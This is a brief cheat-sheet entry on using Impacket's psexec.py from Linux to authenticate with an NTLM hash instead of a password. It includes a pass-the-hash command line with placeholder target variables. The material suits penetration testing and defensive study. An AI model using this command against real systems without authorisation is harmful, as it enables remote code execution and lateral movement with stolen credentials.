Impacket includes a reimplementation of PsExec. Under Linux (but not Windows) you can pass in an NTLM hash instead of a password for the target user.
# Psexec.py (but ONLY on Linux; this won't work on Windows!)
#
psexec.py -hashes $TARGET_USER_NTLM_HASH \
$TARGET_DOMAIN\$TARGET_USER@$TARGET_HOST